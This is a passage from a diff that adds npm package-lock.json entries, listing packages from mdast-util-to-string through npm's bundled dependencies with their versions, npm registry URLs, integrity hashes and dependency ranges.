"integrity": "sha512-XeV9sDE7ZlOQvs45C9UKMtfTcctcaj/pGwH8YLbMHoMOXNNCn2LsqVQOqrF1+/NU8lKDAqozme9SCXWyo9oAcQ==", + "dev": true, + "dependencies": { + "@types/unist": "^2.0.0", + "longest-streak": "^2.0.0", + "mdast-util-to-string": "^2.0.0", + "parse-entities": "^2.0.0", + "repeat-string": "^1.0.0", + "zwitch": "^1.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/mdast-util-to-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz", + "integrity": "sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==", + "dev": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/memfs": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.3.0.tgz", + "integrity": "sha512-BEE62uMfKOavX3iG7GYX43QJ+hAeeWnwIAuJ/R6q96jaMtiLzhsxHJC8B1L7fK7Pt/vXDRwb3SG/yBpNGDPqzg==", + "dev": true, + "dependencies": { + "fs-monkey": "1.0.3" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "dependencies": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + }, + "engines": { + "node": ">=4.3.0 <5.0.0 || >=5.10" + } + }, + "node_modules/meow": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", + "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==", + "dev": true, + "dependencies": { + "@types/minimist": "^1.2.0", + "camelcase-keys": "^6.2.2", + "decamelize": "^1.2.0", + "decamelize-keys": "^1.1.0", + "hard-rejection": "^2.1.0", + "minimist-options": "4.1.0", + "normalize-package-data": "^3.0.0", + "read-pkg-up": "^7.0.1", + "redent": "^3.0.0", + "trim-newlines": "^3.0.0", + "type-fest": "^0.18.0", + "yargs-parser": "^20.2.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/meow/node_modules/type-fest": { + "version": "0.18.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.18.1.tgz", + "integrity": "sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=", + "dev": true + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromark": { + "version": "2.11.4", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-2.11.4.tgz", + "integrity": "sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA==", + "dev": true, + "funding": [ + { + "type": "GitHub Sponsors", + "url": "https://github.com/sponsors/unifiedjs" + }, + { + "type": "OpenCollective", + "url": "https://opencollective.com/unified" + } + ], + "dependencies": { + "debug": "^4.0.0", + "parse-entities": "^2.0.0" + } + }, + "node_modules/micromatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, + "dependencies": { + "braces": "^3.0.1", + "picomatch": "^2.2.3" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "2.4.5", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.5.tgz", + "integrity": "sha512-3hQhEUF027BuxZjQA3s7rIv/7VCQPa27hN9u9g87sEkWaKwQPuXOkVKtOeiyUrnWqTDiOs8Ed2rwg733mB0R5w==", + "dev": true, + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/mime-db": { + "version": "1.50.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.50.0.tgz", + "integrity": "sha512-9tMZCDlYHqeERXEHO9f/hKfNXhre5dK2eE/krIvUjZbS2KPcqGDfNShIWS1uW9XOTKQKqK6qbeOci18rbfW77A==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.33", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.33.tgz", + "integrity": "sha512-plLElXp7pRDd0bNZHw+nMd52vRYjLwQjygaNg7ddJ2uJtTlmnTCjWuPKxVu6//AdaRuME84SvLW91sIkBqGT0g==", + "dependencies": { + "mime-db": "1.50.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/min-document": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", + "integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=", + "dependencies": { + "dom-walk": "^0.1.0" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/mini-create-react-context": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/mini-create-react-context/-/mini-create-react-context-0.4.1.tgz", + "integrity": "sha512-YWCYEmd5CQeHGSAKrYvXgmzzkrvssZcuuQDDeqkT+PziKGMgE+0MCCtcKbROzocGBG1meBLl2FotlRwf4gAzbQ==", + "dependencies": { + "@babel/runtime": "^7.12.1", + "tiny-warning": "^1.0.3" + }, + "peerDependencies": { + "prop-types": "^15.0.0", + "react": "^0.14.0 || ^15.0.0 || ^16.0.0 || ^17.0.0" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", + "dev": true + }, + "node_modules/minimatch": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", + "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "node_modules/minimist-options": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.1.0.tgz", + "integrity": "sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==", + "dev": true, + "dependencies": { + "arrify": "^1.0.1", + "is-plain-obj": "^1.1.0", + "kind-of": "^6.0.3" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/minimist-options/node_modules/is-plain-obj": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", + "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "dev": true, + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "node_modules/mui-datatables": { + "version": "3.7.8", + "resolved": "https://registry.npmjs.org/mui-datatables/-/mui-datatables-3.7.8.tgz", + "integrity": "sha512-kk09SI5fvb95jjSqpDJbR9/C2cZSFGX1MeFT4IC2TVNpYwBFHhXzlcDaHGkkGlMCnMimPsHU+eWL7OPPCxfrRQ==", + "dependencies": { + "@babel/runtime-corejs3": "^7.12.1", + "clsx": "^1.1.1", + "lodash.assignwith": "^4.2.0", + "lodash.clonedeep": "^4.5.0", + "lodash.debounce": "^4.0.8", + "lodash.find": "^4.6.0", + "lodash.get": "^4.4.2", + "lodash.isequal": "^4.5.0", + "lodash.isundefined": "^3.0.1", + "lodash.memoize": "^4.1.2", + "lodash.merge": "^4.6.2", + "prop-types": "^15.7.2", + "react-dnd": "^11.1.3", + "react-dnd-html5-backend": "^11.1.3", + "react-sortable-tree": "^2.7.1", + "react-to-print": "^2.8.0" + }, + "peerDependencies": { + "@material-ui/core": "^4.0.0", + "@material-ui/icons": "^4.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + } + }, + "node_modules/multicast-dns": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz", + "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==", + "dev": true, + "dependencies": { + "dns-packet": "^1.3.1", + "thunky": "^1.0.2" + }, + "bin": { + "multicast-dns": "cli.js" + } + }, + "node_modules/multicast-dns-service-types": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz", + "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=", + "dev": true + }, + "node_modules/mute-stream": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", + "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==", + "dev": true + }, + "node_modules/nanoid": { + "version": "2.1.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.11.tgz", + "integrity": "sha512-s/snB+WGm6uwi0WjsZdaVcuf3KJXlfGl2LcxgwkEwJF0D/BWzVWAZW/XY4bFaiR7s0Jk3FPvlnepg1H1b1UwlA==" + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", + "dev": true + }, + "node_modules/negotiator": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", + "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.1.tgz", + "integrity": "sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw==", + "dev": true + }, + "node_modules/nice-try": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", + "dev": true + }, + "node_modules/no-case": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-2.3.2.tgz", + "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", + "dev": true, + "dependencies": { + "lower-case": "^1.1.1" + } + }, + "node_modules/node-fetch": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", + "integrity": "sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==", + "dependencies": { + "encoding": "^0.1.11", + "is-stream": "^1.0.1" + } + }, + "node_modules/node-forge": { + "version": "0.10.0", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", + "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", + "dev": true, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/node-releases": { + "version": "1.1.77", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.77.tgz", + "integrity": "sha512-rB1DUFUNAN4Gn9keO2K1efO35IDK7yKHCdCaIMvFO7yUYmmZYeDjnGKle26G4rwj+LKRQpjyUUvMkPglwGCYNQ==" + }, + "node_modules/noms": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/noms/-/noms-0.0.0.tgz", + "integrity": "sha1-2o69nzr51nYJGbJ9nNyAkqczKFk=", + "dev": true, + "dependencies": { + "inherits": "^2.0.1", + "readable-stream": "~1.0.31" + } + }, + "node_modules/noms/node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + }, + "node_modules/noms/node_modules/readable-stream": { + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "node_modules/noms/node_modules/string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", + "dev": true + }, + "node_modules/normalize-package-data": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz", + "integrity": "sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==", + "dev": true, + "dependencies": { + "hosted-git-info": "^4.0.1", + "is-core-module": "^2.5.0", + "semver": "^7.3.4", + "validate-npm-package-license": "^3.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/normalize-package-data/node_modules/semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-selector": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/normalize-selector/-/normalize-selector-0.2.0.tgz", + "integrity": "sha1-0LFF62kRicY6eNIB3E/bEpPvDAM=", + "dev": true + }, + "node_modules/normalize.css": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/normalize.css/-/normalize.css-8.0.1.tgz", + "integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg==" + }, + "node_modules/npm": { + "version": "7.24.2", + "resolved": "https://registry.npmjs.org/npm/-/npm-7.24.2.tgz", + "integrity": "sha512-120p116CE8VMMZ+hk8IAb1inCPk4Dj3VZw29/n2g6UI77urJKVYb7FZUDW8hY+EBnfsjI/2yrobBgFyzo7YpVQ==", + "bundleDependencies": [ + "@isaacs/string-locale-compare", + "@npmcli/arborist", + "@npmcli/ci-detect", + "@npmcli/config", + "@npmcli/map-workspaces", + "@npmcli/package-json", + "@npmcli/run-script", + "abbrev", + "ansicolors", + "ansistyles", + "archy", + "cacache", + "chalk", + "chownr", + "cli-columns", + "cli-table3", + "columnify", + "fastest-levenshtein", + "glob", + "graceful-fs", + "hosted-git-info", + "ini", + "init-package-json", + "is-cidr", + "json-parse-even-better-errors", + "libnpmaccess", + "libnpmdiff", + "libnpmexec", + "libnpmfund", + "libnpmhook", + "libnpmorg", + "libnpmpack", + "libnpmpublish", + "libnpmsearch", + "libnpmteam", + "libnpmversion", + "make-fetch-happen", + "minipass", + "minipass-pipeline", + "mkdirp", + "mkdirp-infer-owner", + "ms", + "node-gyp", + "nopt", + "npm-audit-report", + "npm-install-checks", + "npm-package-arg", + "npm-pick-manifest", + "npm-profile", + "npm-registry-fetch", + "npm-user-validate", + "npmlog", + "opener", + "pacote", + "parse-conflict-json", + "qrcode-terminal", + "read", + "read-package-json", + "read-package-json-fast", + "readdir-scoped-modules", + "rimraf", + "semver", + "ssri", + "tar", + "text-table", + "tiny-relative-date", + "treeverse", + "validate-npm-package-name", + "which", + "write-file-atomic" + ], + "dev": true, + "dependencies": { + "@isaacs/string-locale-compare": "*", + "@npmcli/arborist": "*", + "@npmcli/ci-detect": "*", + "@npmcli/config": "*", + "@npmcli/map-workspaces": "*", + "@npmcli/package-json": "*", + "@npmcli/run-script": "*", + "abbrev": "*", + "ansicolors": "*", + "ansistyles": "*", + "archy": "*", + "cacache": "*", + "chalk": "*", + "chownr": "*", + "cli-columns": "*", + "cli-table3": "*", + "columnify": "*", + "fastest-levenshtein": "*", + "glob": "*", + "graceful-fs": "*", + "hosted-git-info": "*", + "ini": "*", + "init-package-json": "*", + "is-cidr": "*", + "json-parse-even-better-errors": "*", + "libnpmaccess": "*", + "libnpmdiff": "*", + "libnpmexec": "*", + "libnpmfund": "*", + "libnpmhook": "*", + "libnpmorg": "*", + "libnpmpack": "*", + "libnpmpublish": "*", + "libnpmsearch": "*", + "libnpmteam": "*", + "libnpmversion": "*", + "make-fetch-happen": "*", + "minipass": "*", + "minipass-pipeline": "*", + "mkdirp": "*", + "mkdirp-infer-owner": "*", + "ms": "*", + "node-gyp": "*", + "nopt": "*", + "npm-audit-report": "*", + "npm-install-checks": "*", + "npm-package-arg": "*", + "npm-pick-manifest": "*", + "npm-profile": "*", + "npm-registry-fetch": "*", + "npm-user-validate": "*", + "npmlog": "*", + "opener": "*", + "pacote": "*", + "parse-conflict-json": "*", + "qrcode-terminal": "*", + "read": "*", + "read-package-json": "*", + "read-package-json-fast": "*", + "readdir-scoped-modules": "*", + "rimraf": "*", + "semver": "*", + "ssri": "*", + "tar": "*", + "text-table": "*", + "tiny-relative-date": "*", + "treeverse": "*", + "validate-npm-package-name": "*", + "which": "*", + "write-file-atomic": "*" + }, + "bin": { + "npm": "bin/npm-cli.js", + "npx": "bin/npx-cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm-run-path/node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/npm/node_modules/@gar/promisify": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/@isaacs/string-locale-compare": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/@npmcli/arborist": { + "version": "2.9.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@isaacs/string-locale-compare": "^1.0.1", + "@npmcli/installed-package-contents": "^1.0.7", + "@npmcli/map-workspaces": "^1.0.2", + "@npmcli/metavuln-calculator": "^1.1.0", + "@npmcli/move-file": "^1.1.0", + "@npmcli/name-from-folder": "^1.0.1", + "@npmcli/node-gyp": "^1.0.1", + "@npmcli/package-json": "^1.0.1", + "@npmcli/run-script": "^1.8.2", + "bin-links": "^2.2.1", + "cacache": "^15.0.3", + "common-ancestor-path": "^1.0.1", + "json-parse-even-better-errors": "^2.3.1", + "json-stringify-nice": "^1.1.4", + "mkdirp": "^1.0.4", + "mkdirp-infer-owner": "^2.0.0", + "npm-install-checks": "^4.0.0", + "npm-package-arg": "^8.1.5", + "npm-pick-manifest": "^6.1.0", + "npm-registry-fetch": "^11.0.0", + "pacote": "^11.3.5", + "parse-conflict-json": "^1.1.1", + "proc-log": "^1.0.0", + "promise-all-reject-late": "^1.0.0", + "promise-call-limit": "^1.0.1", + "read-package-json-fast": "^2.0.2", + "readdir-scoped-modules": "^1.1.0", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "ssri": "^8.0.1", + "treeverse": "^1.0.4", + "walk-up-path": "^1.0.0" + }, + "bin": { + "arborist": "bin/index.js" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/@npmcli/ci-detect": { + "version": "1.3.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/@npmcli/config": { + "version": "2.3.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "ini": "^2.0.0", + "mkdirp-infer-owner": "^2.0.0", + "nopt": "^5.0.0", + "semver": "^7.3.4", + "walk-up-path": "^1.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/@npmcli/disparity-colors": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "ansi-styles": "^4.3.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/@npmcli/fs": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@gar/promisify": "^1.0.1", + "semver": "^7.3.5" + } + }, + "node_modules/npm/node_modules/@npmcli/git": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/promise-spawn": "^1.3.2", + "lru-cache": "^6.0.0", + "mkdirp": "^1.0.4", + "npm-pick-manifest": "^6.1.1", + "promise-inflight": "^1.0.1", + "promise-retry": "^2.0.1", + "semver": "^7.3.5", + "which": "^2.0.2" + } + }, + "node_modules/npm/node_modules/@npmcli/installed-package-contents": { + "version": "1.0.7", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "npm-bundled": "^1.1.1", + "npm-normalize-package-bin": "^1.0.1" + }, + "bin": { + "installed-package-contents": "index.js" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/npm/node_modules/@npmcli/map-workspaces": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/name-from-folder": "^1.0.1", + "glob": "^7.1.6", + "minimatch": "^3.0.4", + "read-package-json-fast": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/@npmcli/metavuln-calculator": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "cacache": "^15.0.5", + "pacote": "^11.1.11", + "semver": "^7.3.2" + } + }, + "node_modules/npm/node_modules/@npmcli/move-file": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "mkdirp": "^1.0.4", + "rimraf": "^3.0.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/npm/node_modules/@npmcli/name-from-folder": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/@npmcli/node-gyp": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/@npmcli/package-json": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "json-parse-even-better-errors": "^2.3.1" + } + }, + "node_modules/npm/node_modules/@npmcli/promise-spawn": { + "version": "1.3.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "infer-owner": "^1.0.4" + } + }, + "node_modules/npm/node_modules/@npmcli/run-script": { + "version": "1.8.6", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "@npmcli/node-gyp": "^1.0.2", + "@npmcli/promise-spawn": "^1.3.2", + "node-gyp": "^7.1.0", + "read-package-json-fast": "^2.0.1" + } + }, + "node_modules/npm/node_modules/@tootallnate/once": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/npm/node_modules/abbrev": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/agent-base": { + "version": "6.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/npm/node_modules/agentkeepalive": { + "version": "4.1.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "debug": "^4.1.0", + "depd": "^1.1.2", + "humanize-ms": "^1.2.1" + }, + "engines": { + "node": ">= 8.0.0" + } + }, + 